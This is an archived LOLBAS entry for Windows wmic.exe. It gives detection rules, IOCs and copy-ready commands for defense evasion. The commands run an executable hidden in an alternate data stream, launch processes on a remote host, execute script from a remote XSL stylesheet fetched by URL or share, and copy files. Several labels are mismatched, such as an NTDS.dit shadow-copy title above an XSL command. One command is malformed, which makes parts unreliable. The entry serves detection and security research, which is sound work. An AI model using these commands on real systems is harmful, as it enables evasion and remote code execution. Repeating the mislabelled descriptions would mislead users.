Wmic on LOLBAS

Archived: 2026-04-05 14:29:08 UTC

.. /Wmic.exe

The WMI command-line (WMIC) utility provides a command-line interface for WMI

Paths:

- C:\Windows\System32\wbem\wmic.exe
- C:\Windows\SysWOW64\wbem\wmic.exe

Resources:

- https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory
- https://subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html
- https://twitter.com/subTee/status/986234811944648707

Acknowledgements:

- Casey Smith (@subtee)
- Avihay Eldad (@AvihayEldad)

Detections:

- Sigma: image_load_wmic_remote_xsl_scripting_dlls.yml
- Sigma: proc_creation_win_wmic_xsl_script_processing.yml
- Sigma: proc_creation_win_wmic_squiblytwo_bypass.yml
- Sigma: proc_creation_win_wmic_eventconsumer_creation.yml
- Elastic: defense_evasion_suspicious_wmi_script.toml
- Elastic: persistence_via_windows_management_instrumentation_event_subscription.toml
- Elastic: defense_evasion_suspicious_managedcode_host_process.toml
- Splunk: xsl_script_execution_with_wmic.yml
- Splunk: remote_wmi_command_attempt.yml
- Splunk: remote_process_instantiation_via_wmi.yml
- Splunk: process_execution_via_wmi.yml
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- IOC: Wmic retrieving scripts from remote system/Internet location
- IOC: DotNet CLR libraries loaded into wmic.exe
- IOC: DotNet CLR Usage Log - wmic.exe.log

- IOC: wmiprvse.exe writing files

Alternate data streams

1. Execute a .EXE file stored as an Alternate Data Stream (ADS)

   ```
   wmic.exe process call create "C:\Windows\Temp\file.ext:program.exe"
   ```

   Use case

   Execute binary file hidden in Alternate data streams to evade defensive counter measures

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1564.004: NTFS File Attributes

   Tags

   Execute: EXE

Execute

1. Execute calc from wmic

   ```
   wmic.exe process call create "cmd /c c:\windows\system32\calc.exe"
   ```

   Use case

   Execute binary from wmic to evade defensive counter measures

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1218: System Binary Proxy Execution

   Tags

   Execute: CMD

2. Execute evil.exe on the remote system.

   ```
   wmic.exe /node:"192.168.0.1" process call create "cmd /c c:\windows\system32\calc.exe"
   ```

Use case

Execute binary on a remote system

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1218: System Binary Proxy Execution

Tags

Execute: CMD

Execute: Remote

3. Create a volume shadow copy of NTDS.dit that can be copied.

```
wmic.exe process get brief /format:"https://www.example.org/file.xsl"
```

Use case

Execute binary on remote system

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1218: System Binary Proxy Execution

Tags

Execute: XSL

Execute: Remote

4. Executes JScript or VBScript embedded in the target remote XSL stylsheet.

```
wmic.exe process get brief /format:"\\servername\C$\Windows\Temp\file.xsl"
```

Use case

Execute script from remote system

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1218: System Binary Proxy Execution

Tags

Execute: XSL

Execute: Remote

Copy

1. Copy file from source to destination.

```
wmic.exe datafile where "Name='C:\\windows\\system32\\calc.exe'" call Copy "C:\\users\\public\\calc.exe
```

Use case

Copy file.

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1105: Ingress Tool Transfer
